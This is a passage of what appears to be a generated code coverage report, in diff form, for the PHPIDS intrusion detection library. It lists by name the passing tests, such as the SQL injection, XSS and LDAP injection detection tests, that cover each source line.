class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li></ul>", - "footer": "" - }, - "panel215": { - "header": "41 tests cover line 215", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li></ul>", - "footer": "" - }, - "panel224": { - "header": "41 tests cover line 224", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li></ul>", - "footer": "" - }, - "panel225": { - "header": "41 tests cover line 225", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li></ul>", - "footer": "" - }, - "panel226": { - "header": "41 tests cover line 226", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li></ul>", - "footer": "" - }, - "panel235": { - "header": "36 tests cover line 235", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel236": { - "header": "36 tests cover line 236", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel237": { - "header": "36 tests cover line 237", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel238": { - "header": "36 tests cover line 238", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel239": { - "header": "36 tests cover line 239", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel241": { - "header": "36 tests cover line 241", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel256": { - "header": "36 tests cover line 256", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li 